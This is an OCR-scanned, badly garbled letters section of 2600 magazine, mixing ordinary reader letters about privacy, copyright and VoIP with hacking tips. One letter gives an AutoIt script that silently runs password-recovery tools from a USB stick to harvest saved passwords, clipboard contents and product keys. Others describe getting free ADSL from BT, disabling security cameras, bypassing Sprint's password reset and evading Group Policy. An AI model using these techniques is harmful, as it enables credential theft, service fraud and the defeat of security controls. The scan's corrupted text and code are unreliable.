The hack  h ere is rea lly si mp le. What I did was order 
the phone li ne ,  then the ADSL.  ( Do not have the ADSL 
p rovided by BT as  this hack  won't work then . )  After one 
month I ca nce led the phone  li ne .  Tu rns out that the 
phone li ne  disconn ect does not remove the ADSL sig­
na ls !  It has  been about four  months now a nd  I have ex­
perienced no problems .  

There is nothi ng  to i ndicate that  BT won 't correct 
this ,  but p lease Lise this i nfo while you ca n .  

dodgydave 

Dear 2600: 
To my fellow conspi rators, countrymen ,  a n d  whom 

it may concern .  G uide of contents, i n  these pages.  Of 
what is conta ined withi n? Indeed.  What's i n si de? Ta ke a 
look .  Ingredients: i nterna l  organs,  i n n a rds .  Both : Col­
latera l a n d  j u n k .  Troub le i ndeed may be he ld with in  
these di scoveries of ways a n d  means .  Towards the path 
to knowledge,  for fai r  visions of futu re fa r off, o r  evi l 
wonders to behold .  O n ly the fo llowi ng  years s ha ll ho ld .  
T h e  contents, here within i n  these pages wi ll be the i n ­
g redients a n d  the path towa rd g reat knowledge, t he  
wonde r  of  wh i ch  we  sha ll see ,  when we've a ll grown .  
The g reat deeds we  have sown have come  upon us an� 
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wi ll matter not what have known . He re's to 26 more 
years of hacki n g !  

Do what y o u  want with this ,  whether y o u  edit it, use 
it, o r  si mp ly despise it. Also speak as  freely as you wish 
with me,  fo r I do not hide com m unications  from others 
(my own devi ces and wi ll for this s hou ld be obvious ,  so 
I wi LL not say) if it can be he Lped , but wi ll do  so if you 
wish .  

Soho 
What's scary is how much of this we actua lly 

understood. 

Dear 2600: 
Hi ,  
I was j ust hopi n g  to see my name  i n  p rint  i n  the 

letters secti on .  
Wave_Rider_1899 

And everything we've done up to this point has 
been orchestrated to get you to contact us. No w we can 
begin. 

Dear 2600: 
I picked up a BT leaflet here in the U . K . (southwest) 

and  thought you might be i nterested .  BT is  offeri ng  a 
service a llowi n g  you to get cheaper rates on your mo­
bi le whi le you ' re at home .  They p rovide  you with a spe­
cia l ly twea ked mobi Le phone (VoIP) and a wi reLess ADSL 
router that m ust have proprietary VoIP tech no logy. 

The service boasts that the speci a l  mobi le phone  
wi ll use the b roadband connecti on to make the ca ll and  
w i l l  bri n g  b ri lli ant  signa l  coverage ri ght  to your  home .  
Here i n  Cornwall  where I live it is  very hi Lly and  signa l  
coverage i s  sti l L  poor, so users here may  be p rone  to  i n ­
vesti ng  i n  a un i t  Li ke this .  

They a lso boast that this wi reless/ADSL/router/ 
.. VoIP unit wi ll a llow you to connect systems ,  consoLes, 
pri nters, etc. to thei r  broadband .  

J ust today I was watchi ng  systm (http ://systm .org )  
episode 5 a n d  lea rni ng  about  Asterisk ,  a n  open  source 
PBX system that a llows you to control VoIP a nd  ca lls to 
a nd  from your home .  They a lso showed a wi reLess VoIP 

this time. We a re currently evaluating our legal rights 
and options at this time, but unfortunately cannot offer 
tablature in the mean time. More information and up­
dates on the situation can be found here. Check back 
frequen tly for updates. " 

Because of the money hung ry corporations  who 
wou Ld snatch candy from a baby, this is how we have to 
suffer. We wi ll have to have pi rated m usic tabs .  
Scan ned PDF  docs on li ne .  I guess it is  i llega l  to have a 
copy of a m usic sheet now. Come on .  It's li ke Meta llica 
and these other bands a ren 't ri ch enough that they 
have to punish  people for sha ri n g  thei r  m usic. 

Kingpin 
It's funny how this wasn 't even an issue years ago. 

Nobody in their wildest imagination would have 
thought sharing guitar tabs could somehow be a prob­
lem for anyone. We suspect tha t  it's not really a prob­
lem but instead is now being seen as another potential 
source of income. 

Questions 
Dear 2600: 

I would li ke to say that I love the magazi ne .  Keep 
up the good work! (I know that must be getti ng  bori n g  
a nd  cli che  by  now.)  I tried t o  fi gu re o u t  the size, font, 
d imensions ,  etc. of your magazi ne .  I got pretty close 
but I j ust fi gu red I 'd ask you guys. I li ke the layout a nd  
I a m  setti n g  up a type o f  reference gu i de  fo r myself a nd  
I want  it t o  be i n  t he  s ame  fo rmat. So wha t  is  t he  paper 
s ize ,  font, font s ize ,  a nd  anythi ng  else you can thi n k  of 
for you r  magazine?  I guess this is  a weird request but it 
is rea lly botheri ng  me. 

Fonts and sizes a re always varying but our dimen­
sions a re 5. 5xB.5, otherwise known as digest size. 
But we strongly encourage you to develop your o wn 
style, even if it's something you 're making just for your­
self. Imitation is a lways flattering but it's a lso rather 
con fin ing. 

phone  that was desig ned exactly li ke a cell phone, but Dear 2600: 
would connect to a ny open Wi reless Access Poi nt and  Were you guys aware of the reference to 2600 Mag-
would a utomatica lly send off its WAN side IP address azine in The Net (with Sandra Bu llock)? If not, I'll send 
back to your home Asterisk  server and would let you i n  a screen shot. It's very ha rd to see whi le watchi ng  
make ca lls from wherever you were both  physica lly and  the movie th rough  at a no rma l  pace. I searched Google 
on the Internet. This sort of VoIP imp lementation  i s  a nd  I don 't thi n k  anyone has pub lished i t s  location  yet. 
very i nteresti n g  consideri ng  the huge  Google wi reless Bra keDanceJ 
network that I hear  is comi ng over there i n  the USA. We've known about this for a number of years as we 

I use skype a nd  a VoIP phone  for most of my calls usually get notified pretty quickly whenever our name 
and it's i nteresti n g  to see imp rovements in the imp le- shows up in a major motion picture. For those who 
mentations  of VoIP that give us the user more control. don 't know, 2600 appears on a list of things to bring 

Ashley along during the main character's vacation. Unfortu-
And it will be downright fascinating to see where all nately, she seems to have forgotten her 2600 collection 

of this will lead us in the next decade or so. Such user or she could have avoided all the trouble she got into 
flexibility would have been unhea rd of when we first during the whole rest of the film. 
started publishing. 

Dear 2600: 
Dear 2600: I run a website a nd  I have a user wish ing to up load 

I was browsi ng  the Internet at work a nd  I wa nted to scan ned PDF  versions  of your magazi ne .  Is it lega l  to re-
check out some guita r tabs .  I vi sited a site that usua Lly di stri bute them in this way and  host them on my site? 
offers tab lature o n li ne .  This is  what I saw: John 

"Due to actions threatened by the National Music We don 't approve of scanned PDFs since we rely on 
Publishers Association and the Music Publishers Associ- actua l magazine sales to stay afloat. Since advertising 
a tion of America under the Digital Millennium Copyright is the major source of income for magazines and since 
Act, Guita rTabs. com is not offering guita r  tablature at we don 't have any advertising, this is why we a re partic-
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ularly dependent on our readers. We have no problem 
a t  aLL with the information from the a rticles being freely 
passed a round but when it's an exact duplicate of our 
entire layout it's a different ma tter. 

Dear 2600: 
What's up with page 44? 

Lenny Love the Hobo 
It's just doing its job. 

Fighting Back 
Dear 2600: 

Although I subscribe  to 2600 and  receive it regu­
la rly, I usua lly don 't read it at home .  Instead I ca rry un­
read issues with me to  read whenever I fly. When I 'm  
done readi ng  them,  i n stead of th rowi ng them i n  the 
trash , I sti ck them in  the seat-back pocket i n  front of 
me i n  the hope that some lucky person wi ll discover 
them and lea rn about the world of hacki ng .  

Last week whi le traveli n g  from the  U . S .  t o  Eu rope I 
had a long layover at an i nternationa l  termi n a l  of 
Newark Internationa l  Ai rport. I had  j ust fi n ished the 
latest issue of 2600 and  had  left it on  the p la ne  fo r the 
next person a nd  was fee li n g  proud of myself fo r recy­
cli n g .  Whi le waiti ng  fo r my next p lane ,  my curiosity was 
pi qued by a couple of ki osk-type machines labeled "US­
VISIT" with the DHS  logo on the bottom .  Two DHS  em­
p loyees with DHS  logos on  thei r  la pels were attendi ng  
to  t he  machines ,  which had the cases open .  They were 
rebooti ng  them and  I cou ld clea rly see that they were 
runn ing  Windows. When they were done I app roached 
the machines but before I even got close,  one  of the 
DHS  emp loyees practically yelled at me,  "No, these a re 
not fo r you . "  Anyway, I feigned ignorance a nd  asked, 
"What do you mean?" She replied ,  "Th ese a re o n ly fo r 
fo rei gners leavi ng  the U . S .  Are you a forei gner  leavi n g  
t h e  U . S . ? "  I j ust wa lked away, not wanti n g  t o  cause a ny 
more troub le .  But on my tri p back to the U . S . ,  I 
snapped some pictu res a n d  looked up more info a bout 
the US-VISIT p rogram on the Internet: 
http ://www.dhs . gov/us-visit. The website contai ns  a 
ho rri b ly Big Brotheri sh  video that exp lai ns  how they 
sca n both index fi ngers of a ll visitors usi n g  an i n k less 
fi ngerp rint  sca n ner, as well as take thei r  photo.  They 
a lso explain that they wi ll p rotect persona l  i nfo rma­
ti o n .  However the fact that they a re usi n g  Wi ndows­
based computers fo r thei r  kiosks p retty much says it a ll. 
I wonder how long  it wi ll be before a curious  hacker 
fi nds  one  of those kiosks u n locked and  u nattended .  

Arcade One 
We're just surprised you didn 't get tackled when you 

took a picture. While this is something else we want to 
kno w  a lot more about, we want people to be very care­
ful in their endea vors to obtain firsthand knowledge in 
such places. 

Dear 2600: 
Somethi ng  has  been botheri n g  me lately and  when 

I see somethi ng  wrong  I li ke to voice my concern .  I 
have been reading your  magazi ne  a nd  listening to your  
shows fo r about ten yea rs, si nce I was about 1 3  years 
old. I try to tell my peers about the injusti ces that a re 
occurri ng  in the world of tech no logy such as AT&T giv­
i n g  p rivate citizens '  phone  records to the NSA without  a 
warrant, DRM ,  a n d  other issues that us "well i nfo rmed 

F a l l  Z O O I.  

people" ca re about. I have sat down and  rationa lly ex­
p lained the situation  to my peers, most recently about 
the whole AT&T o rdea l  but they j ust do not seem to 
care .  They said it does not affect them because they a re 
not terro rists no r  a re they doi ng  a nythi ng  i llega l. I 
tried to persuade them otherwise but it was just no use 
to try and get them to see what path our cou ntry has 
sta rted going  down . In fact, they call me paranoid fo r 
thi n ki n g  of this th ings .  

The thi ng  that rea lly gets to me is that most of the 
people I expla ined these issues to were well-educated 
i ndividua ls studyi ng  to be doctors. They're the future of 
ou r  society but they j ust do not seem to get it. This sad­
dens me because if these well-educated futu re p rofes­
si ona ls do not ca re then why shou ld the rest of them? I 
believed I am labeled a paranoid foo l  beca use I am con­
sta ntly screa ming the sky is fa lli n g  with some govern­
ment i nvasion of p rivacy. Maybe I a m  j ust a product of 
my envi ronment, reading your magazi ne, li sten ing to 
your radio shows, and chatti ng  with other li ke-minded 
people,  but I thi n k  I wi ll rea lly reg ret not sayi ng  some­
thi ng  i n  1 5  years when I have to give a n  i ris sca n to buy 
gas .  Si n ce your organization has  been i nfo rmi ng  i ndi­
vidua ls about these issues fo r a long  ti me,  I wonder  if 
you can he lp me convince my peers why they need to 
ca re about such issues before it is too late . Whi le hack­
ers can have cons li ke HD PE,  how can we get the aver­
age Joe to care about these issues? 

R 
This is indeed the most difficult task we face. People 

like those you 've encountered a re reaLLy the ones who 
make the sort of world we're moving into possible. They 
a re a repressive government's dream - those who only 
care about their o wn standing in life and wiLL refrain 
from saying anything until they find themselves directly 
a ffected, which oftentimes is fa r too late to actuaLLy do 
anything about it. Some refer to them as the brain­
washed masses but tha t  might be going a bit  fa r as it's 
quite possible they simply don 't care nor do they see 
the relevance. This is why it's so important for us to al­
ways be trying to reach outside our o wn little commu­
nity. Regardless of how many people read the magazine 
or listen to the radio shows or come to our conferences, 
we wiLL a lways be a compara tively smaLL group of peo­
ple. If we don 't keep trying to get to those individuals 
who a ren 't already a part of it we'LL cease being rele­
vant and will have no cha nce of influencing anything on 
a larger scale. So the best thing you can do is keep at­
tempting to communicate and not give up. You wiLL a l­
ways find people who actuaLLy get wha t  you 're trying to 
say and you 'Ll often find them in the strangest places. 

Fro m t h e  Mi litary 

Dear 2600: 
Recently I've been ca lled back to a ctive duty after 

two and  a h a lf years as  a civi li a n .  Yes,  they ca n do that. 
The fi rst step for my g roup  was two weeks at Fort Jack­
son fo r a q uick retrai n ing ,  then sh ipment overseas to 
the destination  of their choosi ng  ( Kuwait. Iraq ,  Dji­
bouti ) .  They were k ind enough  to p rovide a "computer 
la b" with a selection  of mach ines and Intern et Exp lo rer, 
but a lso ki nd  enough  to use gateway content b locki ng .  
Th ese a re soldiers t h a t  have been dep loyed a lready, 
witnessed death , perhaps even ki lled people,  a nd  yet 
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they have restricted access to web content beca use tha t  
could be dangerous .  Even more rid icu lous than  the act 
of b locking  us is the ch osen content: vcdqua lity is 
b locked , many men 's  magazi nes ,  some of the web 
comics I visit ( but not a ll of them ) ,  MySpace, a ny proxy 
site, and  many tech no logy-re lated websites. 2600 and  
S lash do t  made the app roved li st, a long  with several  
ha rd-core pornograph ic  sites, and  your typi ca l H otmail ,  
Ya hoo ,  Google li neup .  It leads me  to believe that the 
a rmy, perhaps influenced by ou r  government, i s  j ust 
th rowi ng da rts. Hooa h !  

doctor zoidy 

Dear 2600: 
Hey there ,  I j ust wa nted to say that your pub lica­

tion  is by fa r the best and most i nte llectua l  i nfo rmative 
that I have read over the last five years that I have been 
in the a rmy. Also, some of my so ldiers want to say hi to 
a ll you guys over there - Hexison ,  Squad leBEE ,  Dead­
Zone16,  a nd  F@TtOnY. I wou ld a lso li ke you to know 
that your magazi ne  is read by more then ha lf my p la­
toon over here i n  the sand .  For most of us this is  ou r  
second yea r here a nd  when  I get a new 2600 mag I pass 
it a round .  It gets well read .  Also, we sta rted a C++ p ro­
gramming group and a re s lowly maki ng  p rog ress on 
that front. We were a lso wonderi n g  if by chance a nyone 
out there could send o ld back i ssues  o r  other  g reat 
readi ng  materi a l  to us. Once agai n ,  keep up the g reat 
work a nd  we love read ing you r  mag .  

Sgt. Paccerelli 
We didn 't kno w  soldiers had those kind of handles. 

It all sounds like a much bigger version of IRe. Regard­
ing your quest for reading materiaL you should con­
sider taking out a free classified ad in the marketplace 
asking for the things you need. People in prison do tha t  
all the time. 

Follo wups 
Dear 2600: 

In response to what cody found ,  it is what looks  li ke 
a Wi ndows fi le s ha ri n g  port i nto the U . S .  Census Bu­
reau .  I ran i nto a lot of these on  other  government 
websites. The govern ment is not as secure as they say 
they a re .  I ta lked with one of the admins  a nd  he was ,  to 
put it mi ldly, a dick .  He d idn 't know anythi ng  about se­
cu rity. I am  i n  the Fort Worth ,  Texas a rea a n d  the admin  
was  worki n g  fo r the U S DA website. 

Dear 2600: 
Concerni ng  the a rti cle pub li shed in 2 3 :  1 ca lled 

"i Pod Sneaki ness , "  I fo llowed the text in the magazine 
to the letter and it does not work. I have resea rched it 
on  the web and  have found  that  many websites a re ta lk­
ing about the a rticle, referri ng  to it as  not worki ng .  So 
I was wondering if you could get the worki ng  copy and 
post to 2 600.com or  emai l  it to me .  I pu rchased the 
magazi ne  j ust for this a rti cle, but I 'm have p roblems 
getti ng  it to work  as expla ined .  

If you could p lease help me ,  it wou ld be g reat. 
Mike Smith 

Yours was not the only such comment we recewed. 
We're looking for the fixes and they will appea r in these 
pages when we get them. Mean while, here 's d different 
perspective: 

Dear 2600: 
G reat idea on the i Pod fun !  Not o n ly was this ex­

actly the tool I was looki n g  for, but it gave me several  
other ideas as wel l .  I have expanded on the o rigi n a l  
con cept a nd  i t  sti ll r u n s  i n  u nde r  five seconds .  I 'm  look­
ing fo r a workaround  so that the USB  wi ll Autorun the 
AutoIt EXE I created .  So fa r I 've on ly seen U3s  with a 
C D FS pa rtiti on  . . .  gotta get more a rti cles about hacki ng  
t h a t  USB  U 3  pa rtiti o n !  I a lso want  to  suggest to  Rob,  
a nd  readers i n  general, the value a nd  utility of havi n g  
the AutoIt scri pt i n clude a li ne  t o  write t h e  o/odip­
board% contents. There's often very tasty tidbits of i n fo 
there ,  i n sig hts i nto the user 's activities ,  etc. The AutoIt 
Script I used is here, shou ld anyone wish to benefit 
from it. It's a little different than  the one  in the mag .  I 
wa nted the upsamp les p laced in datestamped fo lders :  
; Comprehen s i ve D a t a  R e t ri e va l Rou t i n e ,  June 

" 2 8 ,  2 0 0 6  
HideA u t o I t Wi n ,  On 

S c t En v ,  lJa t eTime , %A_ YEAR '5 Kll_ MON% %A _MDAY% %A_ 

.. HOUR % �ll. MIN% 'hA SEC?' 

Fi l eCre a t eD i r ,  D a t a \ \ % Da t e Time 'J 

R u n , psp v .  exe Is text D a t a  \ \ % D a t e Time % \ \ pspv . t x t  

S l e ep ,  2 0 0  
R u n ,  ma i l p v . exe Is text D a t a \ \ % D a t e Ti m e %  \ \ 

- ma i l p v . t x t  

S l e ep ,  2 0 0  
R u n , di a l upa s s . exe Is t ex t  Da t a  \ \ %Da t e Ti m e %  \ \ 

- d i a l . t x t  

Sl e ep ,  2 0 0  
R u n ,  n e tpas s . exe / s t e x t  Da t a \ \ %Da t eTime % \ \ 

" n e +� . t x t  

S_L eep r 3 0 0  
R u n , mspa s s . exe Is text 

Da t a  \ \ %Da t e Ti m e %  \ \ mspa s s . t x t  

S_l ee p �  3 0 0  
R u n , ProduKey . exe Is t ext D a t a \  \ % Da t e Time %- \ \ 

• ProduKcy . t_ x t  

S l e ep ,  3 0 0  
F i  l eAppc n d ,  -�, c ]  ipboa rd-� � D a t a  \ \ -'j, D a t e 'l'ilr.e :� \ \ 

. c b .  t x t  

S l eep , 2 0 0  
F'i .I eAppe n d ,  \\-A OSVERSION % ,  Da t a  \ \ 'i.Da t e Ti m e %  \ \ 

· o s . t x t  

Ex_i t 

This is a lso a very usefu l tool for sysadmin work. In 
my li ne  of business, I a lso get asked about retri evi ng 
lost passwords,  etc .  T hanks again Rob and  2600. Every 
issue you fo lks manage to provide someth ing of 
tremendous benefit to my needs,  both persona lly a nd  
p rofessiona lly. You ' re awesome '  

X-Man ( Eric-Not) 

Dear 2600: 
In response to Modman 's a rti cle in 2 3 : 1  titled 

" Hi g h l i g hti ng  the Ho les , "  I have a few corrections a nd  
cla rifications .  When  it comes to  access control ( key­
card) systems,  there a re genera lly th ree types of locks .  
fhere a re mag locks,  stri kes, a nd  powered hand les o r  
c ra sh  ba r s .  The on ly type of lock that must  be opened 
on  a f i re a la rm by code a re mag locks .  The on ly reason i s  
to  a llow people on the ins ide  to get out in the event 
there i s  a fai lure of til e  REX ( request to exit ( usua lly a 
motion  sensor  mounted above the door) ) .  The oUler 
two of t.o ckl nq/un Locki ng  rnech'.-Hl'l s rw, do fl o t  
need t o  u n iocked o n  u fi re a la rm  beca use the door  



not locked from the i nside a nd  ca n be opened by j ust 
turni ng  the hand le or  pushi ng  the crash  bar. 

As fo r the secu rity ca mera systems,  most coax cam� 
eras have a home run di rectly to the m u lti p lexer o r  
vi deo reco rder. There is a lmost never a trun k  li ne  that 
m u lti p le cameras use to tra nsmit vi deo to the recorder. 
Sp li ci ng  i nto coax can work if you a re fast enough  with 
you r  crimpers, but be aware that if you a re sp li ci n g  i nto 
a PTZ (pan  ti lt zoom) camera and  the secu rity gua rd 
tries to move the ca mera they wi ll noti ce it i sn 't mov� 
i n g .  IP based cameras a re usua lly a different story. They 
a re usua lly on a sepa rate netwo rk a ltogether beca use of 
the la rge overhead .  So if you fi nd  the switch that the 
cameras con nect to you can ta ke most if not a l l  of the 
cameras down by unp luggi ng  the switch .  If you a re 
dea li ng  with a sma ll system they may have used the 
same network that they used fo r everythi ng  else, j ust 
on  a sepa rate vla n .  If you unplug this type, people wi ll 
usua lly noti ce. When it comes to ca mera systems your 
best option  is to look a round .  A lot  of camera systems 
out there have g la ri ng  ho les i n  them and  if you watch 
your surroundings  you can move a round  a lot of p laces 
without ever bei ng  reco rded .  H ell, even p risoners can 
noti ce where the b li nd  spots a re in prison camera sys� 
tems .  I'm sure you ca n too. 

digita lFX 

Dear 2600: 
This is fo r Battery in regards to his a rti cle " Easy Ac� 

cess to T�Mobi le And Ci ngu la r  Accounts" in  2 3 : 2 .  H e  
makes the assertion  t h a t  " o u t  o f  t h e  biggest five na� 
ti ona l  p roviders i n  the United States, o n ly T�Mobi le and 
Ci ngu la r  send customers thei r  lost passwords i n  this 
man ner (via SMS text message after on ly providi ng  a 
phone  n umber) . "  He is i nco rrect in that Sprint  PCS has 
done this fo r the last several  years a nd  sti ll conti n ues 
to do so. 

Now there is  a n  i nteresti n g  twist with Spri nt. If you 
select that you a re the account ho lder they then verify 
your soci a l  a nd  your zi p code. However, j ust pick the 
box that says you a re not the account ho lder and they 
wi ll text the password to the phone .  At least they no 
longer send your cu rrent password but assign  you a new 
password a nd  send that one  to the phone .  One  smal l  
imp rovement to the "security" over  the last  five yea rs. 

quel 

Dear 2600: 
This is in response to a letter in 2 3 : 1  rega rdi ng  

someone who was retu rn ing clothes at a Wal�Mart and 
complained that  they did not give h im cash  for his $ 25  
gift because of "po li cy. " Instead of yelli ng  at the incom� 
petent Wal�Ma rt associate that served you,  maybe you 
shou ld freshen up  on  po li cy. By knowi ng  a compa ny's 
ru les and regu lations ,  you can then use (or abuse) 
them .  Anyth ing from Wa l�Ma rt pu rchased with no  re� 
cei pt and over $10, you get a gift card fo r cash back .  
Under ten and  you get cash i n  your hand,  no  ID  re� 
q ui red either. In stead of getti ng  a ll bothered , you 
could have si mp ly bought two or th ree items (depend� 
i ng  on  your taxes) and  gone  to retu rn them i ndividu�  
a l ly. Cash i n  your  hand .  Now with that  newfound  money 
you ca n pu rchase a subscri ption  to 2600! 

Now how do I know this? It happened to me too but 
i n stead of getti ng  ang ry I found  out what "po li cy" really 
was.  

AtomicRhino 

Dear 2600: 
I am not sure if a nyone remem bers me from a few 

years back wh ere I had been a victi m of a hijacked eBay 
account. 2600 had pub lished my letter about my whole 
o rdeal .  

Well ,  two years after that happened I was called i n  
to  a meeti ng  with Senator Ne lson rega rdi ng  nationa l  
security a nd  prob lems citizens face with computer 
fraud .  There were peop le there with problems so much  
worse than my own I felt rea lly stupid fo r even com�  
p laini n g .  To be honest, I am  not sure why I was  there 
except fo r the fact it was on television a nd  I a m  p retty! 
Of course, nothi ng  was reso lved .  

Anyway, after readi ng your a rticle on  getti ng  
screwed by PayPa l ,  I had to  write i n  a n d  give some use� 
fu l advi ce that I have found  to be effective dea li n g  with 
fraud on eBay a nd/or PayPa l. 

Whi le PayPa l a n d  eBay wi ll p retty much tell you to 
ki ss their asses, if you sh ip  usi n g  U S PS ,  or  when you 
buy request they sh ip with USPS ,  you can go after them 
fo r engaging i n  mail fra ud .  

I have had to  do th i s  i n  the past  a nd  have  found  
them to  be one  of the on ly branches ofthe  U . S .  govern� 
ment who seems to care. They ta ke that sort of thi ng  
very serious ly. I have had them prosecute a seller who 
so ld me  a Knock off Louis Vuitton a nd  I received my 
money back .  

That is why some sellers refuse to sh ip  usi ng  them 
and  buyers ask  you to sh ip  usi ng  U PS o r  Fedex beca use 
they know that they will be com mitti ng  a federal  crime  
if you  or  they sh ip  with USPS .  

Mingming5 

Dear 2600: 
I am a longtime  fan of 2600 � si nce the early 80s 

hacki ng  on an  Apple / /e with an  App leCat modem run� 
n ing  at h a lf dup lex 1200 baud.  I even attended the first 
HOPE  conference many years ago .  I've leveraged 2600 
to ( lega lly) take apa rt a ll ki nds  of gadgets a nd  bui ld 
some fu n thi ngs  to p lay with .  

I a m  a G roup  Poli cy MVP, run www.G Pan swers . com.  
and  wrote Group Policy, Profiles, and IntelliMirror 
(thi rd editi on )  pub lished by SYB EX (www.G Panswers. 
-com/book ) .  I don 't work fo r Mi crosoft; I 'm an  i nde� 
pendent trai ner  and  co nsultant strictly fo r Group Policy. 

So I was excited to see an a rea covered in 2600 
that's within my di rect rea lm of expertise .  I ca n see the 
need occasiona lly for a "power user" to fee l  the desi re 
to "scoot a round "  Group Policy's p rocessi n g .  Someti mes 
corpo rations  ca n be too heavy handed i n  their G roup  
Poli cy usage  and  not li sten to  " the  little end  user  guy" 
at the end of the food chai n .  

So as  a longtime loyal  2600 reader, I felt it w a s  my 
duty to the 2600 com m u nity to clarify some poi nts i n  
WagStaff's a rticle. S ome  a re sma ll points ,  others a re 
la rger. I have put these poi nts in ch rono logica l o rder as 
if I were respondi n g  conversationa lly whi le reading the 
a rticle from top to bottom .  

T h e  background  refresh for Group Poli cy is o n ly pos� 
itive 30  min utes ( not positive or  negative 30 m inutes ) .  
This is  a common  misperception ,  as s ome  o lder Mi� 
crosoft documentation misstated this fact. However, all 
"offi ci a l" documentation  has si nce been revised .  

The a rticle states that "If  a registry entry under  G PO 
control is changed by a user, the G roup  Poli cy process 
ensures that these changes a re ' undone '  a n d  replaced 
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with the setti ngs  present i n  the G PO . "  This i s n 't strictly 
accu rate. There a re several  fo llow up notes to this 
comment. 

First and most impo rtantly, regu la r  users cannot 
modify the registry location  where "true" G roup  Poli cy 
settings  app ly, which a re fou r  locations :  H KEY_CU R­
RENT_USER\Softwa re\ Poli cies ,  H K EY_LOCAL_MACHIN E 
.. \Softwa re\ Poli cies ,  H KEY_CU RRENT_USER\Softwa re 
.. \Microsoft\Wi ndows\Cu rrentversi on  \ Po li cies ,  o r  
H KEY _LOCAL_MACHIN E\Softwa re \M i  crosoft\ Wi ndows \ 
"Cu rrentversi on  \ Po li cies. 

What i s  true, however, i s  that a user with Loca l Ad­
min istrato r rig hts certai n ly can do whatever he  wa nts 
in the registry, i ncludi ng  wiping out any value in the 
aforementioned locati on .  

Next, the G roup  Poli cy eng i ne  has a "versi on "  mech­
a nism which checks one  thi n g :  did the G PO change? It 
does not check (contra ry to popula r  beli ef) if the loca l 
admin istrator went "under  the hood" a nd  messed with 
the afo rementioned registry keys . Therefo re, it i s  not 
true (by defau lt) that if a " regi stry entry under  G PO 
control is changed by a user, the G roup  Po li cy p rocess 
ensures that these changes a re ' undone '  and replaced 
with the setti ngs  p resent i n  the GPO . "  This ca n be ad­
justed/compensated by  another G roup  Po li cy setti n g ,  
b u t  that 's getti ng  i nto nitty-gritty details . 

The author i nterchanges the words " G roup  Policy" 
someti mes when he  means  "System Poli cy. " To be spe­
cific, G roup  Poli cy is  a tech no logy that runs on  Windows 
2000 and above (Windows XP, Windows Server 2003,  
Vista , Long horn Server) . System Po licy is a sim i la r, but 
o lder, techno logy avai la b le for Wi ndows NT and  Wi n­
dows 9X systems  usi n g  " . po l" fi les i n  the N ETLOGON  
sha re of the Doma i n  Controllers. 

The author  suggests that his  steps of renaming  of 
gpu pdate a nd  secedit is  u n necessary on NT 4.0 beca use 
Wi ndows Fi le Protecti on doesn't exi st on  NT 4.0. In ac­
tua lity, th ese fi les si mp ly do not exist on  NT 4.0, be­
cause G roup  Poli cy doesn't exist on  NT 4 .0  (agai n ,  NT 
4.0 uses the o lder System Policy) . 

Step 4b in the a rti cle suggests that whi le usi ng  a 
Windows 2000 system ,  you could add  a R EG_DWO RD of 
DISABLEGPO to 0 to then stop G roup  Poli cy processi n g .  
Fi rst and  fo remost, t he  a rti cle suggests t o  look for a 
"system" key underneath H KLM\Softwa re\ Poli cies\Mi­
crosoft\Wi ndows\ .  I ch ecked Wi ndows 2000/S P4 but 
that stri ng  is  not a va li d  registry path . Interesti ng ly, 
that registry path is  valid  on  Wi ndows XP (but addi ng  
the value does  nothi n g ) .  I t  shou ld be noted t ha t  i n  
Wi ndows 2000, t h e  "system" key does make a n  appear­
a nce in H KEY_LOCAL_MACHIN E\SOFlWARE\Micro 
.. soft\ Wi ndows \ Cu rrentVersi on \ policies \system and  
a lso i n  H KEY_LOCAL_MACHIN E\SOFTWARE\ Poli cies\ 
"Microsoft\System .  However, to reiterate, the "sys­
tem" key si mp ly is  n ot where the a uthor  says it i s .  H ow­
ever, I did try add ing DISAB LEG PO and setti ng it to both 
o and 1 (the autho r's note i n  the a rticle is  unclea r) . I 
tried both "system" keys on my Windows 2000 S P4 ma­
ch ine .  But this additiona l  registry change fai led to 
make any difference.  The author  says this feature was 
removed i n  Wi ndows XP  "Go ld . "  However, my research in 
this topic suggests it was actua lly removed before Wi n­
dows 2000 went "Go ld . "  Additiona lly, even if the reg­
istry key worked , the p lacement i s  meant fo r that 
"p rotected"  pa rt of the registry (see first note above) 

where reg u la r  users ( non- local  admin istrato rs) ca nnot 
write. 

Step 5 suggests a ll sorts of ways to modify the p ro­
cessi ng  behavio r  fo r G roup  Poli cy by usi ng  the registry. 
Agai n ,  this portion  of the registry is  restricted for regu­
la r users .  And if you ' re a loca l admin i strator, there's a 
much  easier way: use G Pedit. msc (the loca l G roup Poli cy 
object editor) and  use the setti ngs  found  here: Admi n ­
istrative Temp lates\System\Group  Po li cy. I f  you ' re a lo­
ca l admi ni strato r setti ng  the poli cy setti ngs  here does 
exactly the same thi ng  as  hacki ng  through the registry 
i n  the H KLM\Software\Mi crosoft\Wi ndows\CurrentVer 
"sion\Poli ci es\System locati o n .  

S o ,  n ow  that we've tackled t h e  i naccu racies ,  let's 
address how to actua lly get around G roup  Poli cy: 

Option 1 :  The author 's comments for Step 6 i s  
the best way  to  go - if you ' re a loca l admin istrato r. If 
you ' re not a loca l admin istrator, this wi ll fai l to work as  
reg ular  users do not have access to  this portion  of the 
registry. 

Option 2: Use a uti lity called " Ki llPo l" avai lab le at 
http://www.petri . co . i ljkil lpol . htm . It requi res loca l ad­
mini strative ri g hts to  be effective. That  i s ,  you  run it as  
a reg u la r  user, then p rovide  loca l admin i strative rig hts, 
then poof - effectively you r  Active Di recto ry G POs a re 
neutra lized.  This is a good troub leshooti ng  aid to de­
termi ne if G roup  Policy setti ngs  could be causi ng  issues 
on  your system .  

Option 3 :  This is  t h e  o n ly option  if you r  user ac­
count is  not a lso a loca l admin istrato r. That is ,  fi g u re 
out when G roup Policy is goi n g  to be app lied a nd  be of­
fli ne  ( unp lugged)  du ri ng  that ti me .  The command  li ne ,  
G Presu lt. exe, wi ll te l l  you the last  ti me G roup  Policy was  
r un .  And ,  si nce you know that G roup  Policy wi ll refresh 
somewhere between 90-1 20 min utes, simp ly ensure the 
machi ne  is not on  the netwo rk and i n  contact with a do­
main controller d u ri ng  that ti me .  That i s ,  be su re to 
"miss it"  when it comes a round  every 90 min utes or  so .  
However, G roup  Poli cy does app ly when loggi ng  in ,  so 
that could be an  issue if you felt you a lways had to skirt 
a round  it. 

I hope this fo llow up has been usefu l fo r 2600 read­
ers .  For tech nical i nformation  on G roup  Po licy, I would 
encourage a ll readers to enjoy the free resou rces at 
G Pan swers . com .  

Keep  doing the good work  you  do at 2600. 

Dear 2600: 

Jeremy Moskowitz, 
GPanswers.com 

I wanted to write in response to WagStaff's a rticle 
entitled "G POs and G roup  Poli cy: J ust Say No ! "  in your 
Summer issue.  I have to say that whi le I understa nd 
what the author  was tryi n g  to accomp li s h ,  the n umber 
